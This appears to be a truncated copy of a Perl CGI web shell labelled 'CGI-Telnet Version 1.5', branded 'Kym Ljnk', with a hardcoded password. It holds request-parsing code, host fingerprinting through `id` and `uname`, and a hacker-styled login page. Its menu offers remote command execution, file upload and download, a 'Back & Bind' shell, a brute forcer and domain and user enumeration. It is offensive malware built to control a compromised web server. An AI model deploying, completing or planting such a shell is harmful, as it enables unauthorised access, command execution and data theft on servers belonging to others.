#!/usr/bin/perl -I/usr/local/bandminuse MIME::Base64;$Version= "CGI-Telnet Version 1.5";$EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Kym Ljnk</font>";$Password = "xxx"; # Change this. You will need to enter this # to login.sub Is_Win(){ $os = &trim($ENV{"SERVER_SOFTWARE"}); if($os =~ m/win/i){ return 1; }else{ return 0; }}$WinNT = &Is_Win(); # You need to change the value of this to 1 if # you're running this script on a Windows NT # machine. If you're running it on Unix, you # can leave the value as it is.$NTCmdSep = "&"; # This character is used to seperate 2 commands # in a command line on Windows NT.$UnixCmdSep = ";"; # This character is used to seperate 2 commands # in a command line on Unix.$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed # Don't set this to a very large value. This is # useful for commands that may hang or that # take very long to execute, like "find /". # This is valid only on Unix servers. It is # ignored on NT Servers.$ShowDynamicOutput = 1; # If this is 1, then data is sent to the # browser as soon as it is output, otherwise # it is buffered and send when the command # completes. This is useful for commands like # ping, so that you can see the output as it # is being generated.# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);$CmdPwd = ($WinNT ? "cd" : "pwd");$PathSep = ($WinNT ? "\\" : "/");$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");$cols= 130;$rows= 26;#------------------------------------------------------------------------------# Reads the input sent by the browser and parses the input variables. It# parses GET, POST and multipart/form-data that is used for uploading files.# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.# Other variables can be accessed using $in{'var'}, where var is the name of# the variable. Note: Most of the code in this function is taken from other CGI# scripts.#------------------------------------------------------------------------------sub ReadParse { local (*in) = @_ if @_; local ($i, $loc, $key, $val); $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/; if($ENV{'REQUEST_METHOD'} eq "GET") { $in = $ENV{'QUERY_STRING'}; } elsif($ENV{'REQUEST_METHOD'} eq "POST") { binmode(STDIN) if $MultipartFormData & $WinNT; read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); } # handle file upload data if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/) { $Boundary = '--'.$1; # please refer to RFC1867 @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ /\r\n\r\n|\n\n/; $Header = $`; $Body = $'; $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape $in{'filedata'} = $Body; $Header =~ /filename=\"(.+)\"/; $in{'f'} = $1; $in{'f'} =~ s/\"//g; $in{'f'} =~ s/\s//g; # parse trailer for($i=2; $list[$i]; $i++) { $list[$i] =~ s/^.+name=$//; $list[$i] =~ /\"(\w+)\"/; $key = $1; $val = $'; $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} = $val; } } else # standard post data (url encoded, not multipart) { @in = split(/&/, $in); foreach $i (0 .. $#in) { $in[$i] =~ s/\+/ /g; ($key, $val) = split(/=/, $in[$i], 2); $key =~ s/%(..)/pack("c", hex($1))/ge; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} .= "\0" if (defined($in{$key})); $in{$key} .= $val; } }}#------------------------------------------------------------------------------# function EncodeDir: encode base64 Path#------------------------------------------------------------------------------sub EncodeDir{ my $dir = shift; $dir = trim(encode_base64($dir)); $dir =~ s/(\r|\n)//; return $dir;}#------------------------------------------------------------------------------# Prints the HTML Page Header# Argument 1: Form item name to which focus should be set#------------------------------------------------------------------------------sub PrintPageHeader{ $EncodeCurrentDir = EncodeDir($CurrentDir); my $id = `id` if(!$WinNT); my $info = `uname -s -n -r -i`; print "Content-type: text/html\n\n"; print <<END;
<meta http-equiv="content-type" content="text/html; charset=UTF-8">$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} <title>$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} </title>$HtmlMetaHeader<style>body{font: 10pt Verdana;color: #fff;}tr,td,table,input,textarea {BORDER-RIGHT: #3e3e3e 1px solid;BORDER-TOP: #3e3e3e 1px solid;BORDER-LEFT: #3e3e3e 1px solid;BORDER-BOTTOM: #3e3e3e 1px solid;}#domain tr:hover{background-color: #444;}td {color: #ffffff;}.listdir td{ text-align: center;}.listdir th{ color: #FF9900;}.dir,.file{ text-align: left !important;}.dir{ font-size: 10pt; font-weight: bold;}table {BACKGROUND-COLOR: #111;}input {BACKGROUND-COLOR: Black;color: #ff9900;}input.submit {text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;color: #FFFFFF;border-color: #009900;}code {border: dashed 0px #333;color: while;}run {border : dashed 0px #333;color: #FF00AA;}textarea {BACKGROUND-COLOR: #1b1b1b;font: Fixedsys bold;color: #aaa;}A:link { COLOR: #ffffff; TEXT-DECORATION: none}A:visited { COLOR: #ffffff; TEXT-DECORATION: none}A:hover { text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FFFFFF; TEXT-DECORATION: none}A:active { color: Red; TEXT-DECORATION: none}.listdir tr:hover{ background: #444;}.listdir tr:hover td{ background: #444; text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FFFFFF; TEXT-DECORATION: none;}.notline{ background: #111;}.line{ background: #222;}</style><script language="javascript">function Encoder(name){ var e = document.getElementById(name); e.value = btoa(e.value); return true;}function chmod_form(i,file){ document.getElementById("FilePerms_"+i).innerHTML=""; document.getElementById("text_" + i).focus();}function rm_chmod_form(response,i,perms,file){ response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span>";}function rename_form(i,file,f){ f.replace(/\\\\/g,"\\\\\\\\"); var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;"; document.getElementById("File_"+i).innerHTML=""; document.getElementById("text_" + i).focus();}function rm_rename_form(i,file,f){ if(f=='f') { document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>"; }else { document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>"; }}</script><body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"><code><table border="1" width="100%" cellspacing="0" cellpadding="2"> <td align="center" rowspan=3> <font size="3">$EditPersion</font> $info | Server IP:<font color="red"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="red">$ENV{'REMOTE_ADDR'}</font> |
<td colspan="2"><a href="$ScriptLocation">Home</a> | <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |<a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> | <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> | <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |<a href="$ScriptLocation?a=backbind">Back & Bind</a> |<a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |<a href="$ScriptLocation?a=checklog">Check Log</a> |<a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |<a href="$ScriptLocation?a=logout">Logout</a> |<a target='_blank' href="../error_log.php">Help</a>
<td colspan="2">$id
<font id="ResponseData" color="#FFFFFF" >END}#------------------------------------------------------------------------------# Prints the Login Screen#------------------------------------------------------------------------------sub PrintLoginScreen{ print <<END;<pre><script type="text/javascript">TypingText = function(element, interval, cursor, finishedCallback) { if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) { this.running = true; // Never run. return; } this.element = element; this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; }); this.interval = (typeof interval == "undefined" ? 100 : interval); this.origText = this.element.innerHTML; this.unparsedOrigText = this.origText; this.cursor = (cursor ? cursor : ""); this.currentText = ""; this.currentChar = 0; this.element.typingText = this; if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++; TypingText.all.push(this); this.running = false; this.inTag = false; this.tagBuffer = ""; this.inHTMLEntity = false; this.HTMLEntityBuffer = "";}TypingText.all = new Array();TypingText.currentIndex = 0;TypingText.runAll = function() { for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();}TypingText.prototype.run = function() { if(this.running) return; if(typeof this.origText == "undefined") { setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience. return; } if(this.currentText == "") this.element.innerHTML = "";// this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text. if(this.currentChar < this.origText.length) { if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) { this.tagBuffer = "<"; this.inTag = true; this.currentChar++; this.run(); return; } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) { this.tagBuffer += ">"; this.inTag = false; this.currentText += this.tagBuffer; this.currentChar++; this.run(); return; } else if(this.inTag) { this.tagBuffer += this.origText.charAt(this.currentChar); this.currentChar++; this.run(); return; } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) { this.HTMLEntityBuffer = "&"; this.inHTMLEntity = true; this.currentChar++; this.run(); return; } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) { this.HTMLEntityBuffer += ";"; this.inHTMLEntity = false; this.currentText += this.HTMLEntityBuffer; this.currentChar++; this.run(); return; } else if(this.inHTMLEntity) { this.HTMLEntityBuffer += this.origText.charAt(this.currentChar); this.currentChar++; this.run(); return; } else { this.currentText += this.origText.charAt(this.currentChar); } this.element.innerHTML = this.currentText; this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : ""); this.currentChar++; setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); } else { this.currentText = ""; this.currentChar = 0; this.running = false; this.finishedCallback(); }}</script></pre>
<script type="text/javascript">new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });TypingText.runAll();</script>END}#------------------------------------------------------------------------------# encode html special chars#------------------------------------------------------------------------------sub UrlEncode($){ my $str = shift; $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; return $str;}#------------------------------------------------------------------------------# Add html special chars#------------------------------------------------------------------------------sub HtmlSpecialChars($){ my $text = shift; $text =~ s/&/&/g; $text =~ s/"/"/g; $text =~ s/'/'/g; $text =~ s/</</g; $text =~ s/>/>/g; return $text;}#------------------------------------------------------------------------------# Add link for directory#------------------------------------------------------------------------------sub AddLinkDir($){ my $ac=shift; my @dir=(); if($WinNT) { @dir=split(/\\/,$CurrentDir); }else { @dir=split("/",&trim($CurrentDir)); } my $path=""; my $result=""; foreach (@dir) { $path .= $_.$PathSep; $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>"; } return $result;}#------------------------------------------------------------------------------# Prints the message that informs the user of a failed login#------------------------------------------------------------------------------sub PrintLoginFailedMessage{ print <<END;Password:
Login incorrect
END}#------------------------------------------------------------------------------# Prints the HTML form for logging in#------------------------------------------------------------------------------sub PrintLoginForm{ print <<END;END}#------------------------------------------------------------------------------# Prints the footer for the HTML Page#------------------------------------------------------------------------------sub PrintPageFooter{ print "
<font color=red>=</font><font color=red>--->* <font color=#ff9900>Pass = xxx </font> *<---=</font></code>